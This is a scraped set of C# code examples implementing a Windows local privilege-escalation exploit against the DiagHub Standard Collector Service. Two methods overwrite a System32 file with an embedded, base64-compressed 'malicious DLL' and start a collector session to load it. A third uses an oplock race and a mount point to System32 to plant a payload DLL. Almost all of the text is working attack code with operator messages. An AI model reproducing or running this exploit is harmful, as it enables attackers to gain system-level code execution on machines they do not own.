Beispiel #1
0
        public static void Load(string filename)
        {
            // add your shizz here
            var dll = DecompressDLL(Convert.FromBase64String(""));

            var sessionId = Guid.NewGuid();
            var scratch   = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp";

            // backup
            Console.WriteLine($@" [>] Backing up {filename} to {scratch}");
            File.Copy($@"C:\Windows\System32\{filename}", $@"{scratch}\{filename}");

            // overwrite
            Console.WriteLine($@" [>] Overwriting C:\Windows\System32\{filename} with malicious DLL");
            File.WriteAllBytes($@"C:\Windows\System32\{filename}", dll);

            Thread.Sleep(1000);

            var procId = Process.GetCurrentProcess().Id;
            var sessionConfiguration = new SessionConfiguration
            {
                ClientLocale             = (ushort)CultureInfo.InvariantCulture.LCID,
                CollectorScratch         = scratch,
                Location                 = CollectionLocation.Local,
                Flags                    = SessionConfigurationFlags.None,
                LifetimeMonitorProcessId = (uint)procId,
                SessionId                = sessionId,
                Type = CollectionType.Etw
            };

            var procIds = new List <uint> {
                (uint)procId
            };

            var badAgent = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName },
                { sessionId, filename }
            };

            Console.WriteLine(" [>] Getting new collector service");
            _service = GetCollectorService();

            SetProxyBlanketForService(_service);
            Console.WriteLine(" [>] Starting session with DLL payload");
            Start(sessionConfiguration, badAgent, procIds);
            Console.WriteLine($@" [!] All Done. Remember to restore {scratch}\{filename}");

            // give it some time. if you exit too early, it won't run.
            Thread.Sleep(3000);
        }
Beispiel #2
0
        public static void Load(string filename)
        {
            // add your shizz here
            var dll = DecompressDLL(Convert.FromBase64String("H4sIAI4b7FwAA+xbDXxTVZZ/L82jAdqmIpEqIkEDhkUxkFULWkmwxVsM2lGEogiFghSBwkIi6KAU0zrER5TZdV0ZmUHBD3TcEVaEVnFNKdAyKmJHheoqH6POC6lukRULOGbP/9730qQtn87s7u+38370vnvPPffcc88993zcF8bcuUJKkyTJTH/xuCRVS+LxSKd/Wugvq+8bWdLGru/1q5Z97/UbWzZzgX3e/Lkz5k+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APKEn5AgGtB6f4TLEZwh+keLStXY4DPXIlNhr+Ow/mEtDf0SMpEL7YQs84DZIxoZiR66rIz7PFhcXsjshFbEr06lRvgCys6Xp6CFPqNcVxvjmcRRDvEP0pS+IRv5vO9fz2kQQhV+aRFAo+A8oq5c9pbY3KY1FQ0MDEUJ+tMc6zU6Spbs7y8xs0iCIeNNTvYqHYC67ePIm6KHHHAseLIJQbx6LJ4++me6G0ioIRYO43yWz703evLz3dng5vM91mbfVFz63PdlB5cvs1sAlO9Qnsqf2vsVn4Tu2jAVWftAWsc0APdkmglo6AzfnMH2lgCvelGaPU2JVLLw/c3rcvUZ5h3GXeG1aYoEiXYHrp/bXOGtTIfALx0raGGKEXEX/cFeoMlErcLKVaVgbVYzhOh4BH3J16ZSILzFTJYaGdyV8UrIqYzuBX46ju+ZJPgT4ojQbNpcBcVrewPbQwyfZitDTtF3Ka4olAZP4Pt/yTkrYWtP1iybKujwAHuYbVP5S/VH7Lwke4VfwNdmEp2g//n2MlylRnibnPJo7V/LQydWJLejUMMC37H1FnXJvKGmTbdoWLfUIh/lLybLJpnroKotVIqSmGMH7K4th8jX5BNT1uswpVuI7tS92S0kBPufjwOiEAbzJqJ3xS4eVG++P+ScArp3PH7zIN5PqS0QpUqS4MDK/i1k7muKPgJ+Zz3+Wzh//x8gkPB+Pz8rVrM/iT+SXcwDruPJvzMHzv+Ljv42V1V3XMfqUC2zBiubSwqJpUK/NLNvrFs1Ws1y4bRpCYtNGHGzXi+aQCnP1zvyVFSIEdbedoYEGPFE0A+4ti3aPukQUXFvRHbKOLGDnvUyEu9BfMg1si+0O/pvaOH2aMnUrsYUPsw5IitliLwMGfuyHk/AgPAyPwkl0EB1GR9HX6DhCxejkTvj+CsbheH88GT8I916D4p3SHFgwujqanfMpLoof5MAbcADaAAA="));

            var sessionId = Guid.NewGuid();
            var scratch   = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp";

            // backup
            Console.WriteLine($@" [>] Backing up {filename} to {scratch}");
            File.Copy($@"C:\Windows\System32\{filename}", $@"{scratch}\{filename}");

            // overwrite
            Console.WriteLine($@" [>] Overwriting C:\Windows\System32\{filename} with malicious DLL");
            File.WriteAllBytes($@"C:\Windows\System32\{filename}", dll);

            Thread.Sleep(1000);

            var procId = Process.GetCurrentProcess().Id;
            var sessionConfiguration = new SessionConfiguration
            {
                ClientLocale             = (ushort)CultureInfo.InvariantCulture.LCID,
                CollectorScratch         = scratch,
                Location                 = CollectionLocation.Local,
                Flags                    = SessionConfigurationFlags.None,
                LifetimeMonitorProcessId = (uint)procId,
                SessionId                = sessionId,
                Type = CollectionType.Etw
            };

            var procIds = new List <uint> {
                (uint)procId
            };

            var badAgent = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName },
                { sessionId, filename }
            };

            Console.WriteLine(" [>] Getting new collector service");
            _service = GetCollectorService();

            SetProxyBlanketForService(_service);
            Console.WriteLine(" [>] Starting session with DLL payload");
            Start(sessionConfiguration, badAgent, procIds);
            Console.WriteLine($@" [!] All Done. Remember to restore {scratch}\{filename}");

            // give it some time. if you exit too early, it won't run.
            Thread.Sleep(4000);
        }
Beispiel #3
0
        private static void SetProxyBlanketForService(IStandardCollectorService service)
        {
            var guid = typeof(IStandardCollectorService).GUID;
            var iunknownForObject = Marshal.GetIUnknownForObject(service);
            var errorCode         = Marshal.QueryInterface(iunknownForObject, ref guid, out var intPtr);

            Marshal.ThrowExceptionForHR(errorCode);
            try
            {
                errorCode = NativeMethods.CoSetProxyBlanket(intPtr, uint.MaxValue, uint.MaxValue, IntPtr.Zero, 0u, 3u, IntPtr.Zero, 2048u);
                Marshal.ThrowExceptionForHR(errorCode);
            }
            finally
            {
                if (intPtr != IntPtr.Zero)
                {
                    Marshal.Release(intPtr);
                }
            }
        }
        public static void Main(string[] args)
        {
            if (!File.Exists("Payload.dll"))
            {
                Console.WriteLine("Put Payload.dll in current directory");
                return;
            }

            NtFile ntFile;
            var    sessionId = Guid.NewGuid();
            var    bytes     = File.ReadAllBytes("Payload.dll");
            // F12 = Developer Tools in IE/Edge, which also uses DiagHub Collector Service for profiling
            // This can be any user-writable folder though
            var scratch = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler";

            Console.WriteLine("[-] Creating scratch directory");
            if (!Directory.Exists(scratch))
            {
                Directory.CreateDirectory(scratch);
            }

            // Create sessions config with sessionId, procId, and scratch location
            var procId = Process.GetCurrentProcess().Id;
            var sessionConfiguration = new SessionConfiguration
            {
                ClientLocale             = (ushort)CultureInfo.InvariantCulture.LCID,
                CollectorScratch         = scratch,
                Location                 = CollectionLocation.Local,
                Flags                    = SessionConfigurationFlags.None,
                LifetimeMonitorProcessId = (uint)procId,
                SessionId                = sessionId,
                Type = CollectionType.Etw
            };

            // Use the default collector agent: {E485D7A9-C21B-4903-892E-303C10906F6E} DiagnosticsHub.StandardCollector.Runtime.dll
            var agents = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName }
            };
            var procIds = new List <uint> {
                (uint)procId
            };

            Console.WriteLine("[-] Creating instance of IStandardCollectorService");
            _service = GetCollectorService();

            Console.WriteLine("[-] Setting proxy blanket for service");
            SetProxyBlanketForService(_service);

            Console.WriteLine("[-] Starting collector service session");
            Start(sessionConfiguration, agents, procIds);

            Console.WriteLine($"[-] Getting session: {sessionId}");
            var session = _service.GetSession(sessionId);

            Console.WriteLine("[-] Querying session state");
            session.QueryState();
            new Thread(() =>
            {
                Thread.Sleep(500); // This helps populate the .etl file
                try
                {
                    Console.WriteLine("[-] Getting current session result");
                    session.GetCurrentResult(false); // Triggers createion of merged 1.m.etl file
                }
                catch (Exception) { }
            }).Start();

            var reportDir = $@"{scratch}\Report.{sessionId}.1";
            var etlFile   = $"{sessionId}.1.m.etl";

            Console.WriteLine($"[-] Attempting to open {etlFile} with OpLock");
            while (true)
            {
                // Get handle immediately upon service closing file
                try
                {
                    ntFile = NtFile.Open($@"\??\{scratch}\{etlFile}", null,
                                         FileAccessRights.GenericRead | FileAccessRights.GenericWrite |
                                         FileAccessRights.MaximumAllowed | FileAccessRights.Synchronize,
                                         FileShareMode.None,
                                         FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock |
                                         FileOpenOptions.SynchronousIoNonAlert);

                    if (ntFile.OpenResult != FileOpenResult.Opened)
                    {
                        continue;
                    }
                    Console.WriteLine($"[+] Opened with handle: {ntFile.Handle.DangerousGetHandle()}");
                    break;
                }
                catch (Exception) { }
            }

            // Attempt to find the random sub-directory and then create mount point to System32
            try
            {
                Console.WriteLine($"[-] Looking for sub-directories in {reportDir}");
                while (true)
                {
                    if (!Directory.Exists(reportDir))
                    {
                        continue;
                    }

                    var dirs = Directory.GetDirectories(reportDir);
                    if (dirs.Length != 1) // Very rare, but did happen during testing
                    {
                        throw new Exception("Didn't find exactly 1 subdirectory, try running again");
                    }

                    Console.WriteLine($"[+] Found sub-directory: {dirs[0]}");
                    Console.WriteLine($@"[-] Creating mount point: \??\{dirs[0]} -> \??\C:\Windows\System32");
                    NtFile.CreateMountPoint($@"\??\{dirs[0]}", @"\??\C:\Windows\System32", null);
                    break;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Failed to create mount point: {ex.Message}");
            }

            // Overwrite the contents of etl file with payload DLL
            try
            {
                Console.WriteLine($"[-] Overwriting {etlFile} with DLL bytes");
                ntFile.Write(bytes);
                ntFile.SetEndOfFile(bytes.Length);
                ntFile.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Error writing bytes... {ex.Message}");
            }

            Console.WriteLine("[-] Stopping session to trigger CopyFile");
            _service.GetSession(sessionId).Stop();

            // Wait a second and then check to see if file was copied
            Thread.Sleep(1000);
            if (File.Exists($@"C:\Windows\System32\{etlFile}"))
            {
                Console.WriteLine($@"[+] DLL successfully copied to C:\Windows\System32\{etlFile}");
            }

            // Setup agents with path to copied etlFile (malicious DLL)
            var badAgent = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName },
                { sessionId, etlFile }
            };

            Console.WriteLine("[-] Getting new collector service");
            _service = GetCollectorService();

            SetProxyBlanketForService(_service);
            Console.WriteLine("[-] Starting session with DLL payload");
            Start(sessionConfiguration, badAgent, procIds);
            Console.WriteLine($@"[+] All Done! Remember to delete the DLL: C:\Windows\System32\{etlFile}");
            Console.ReadLine();
        }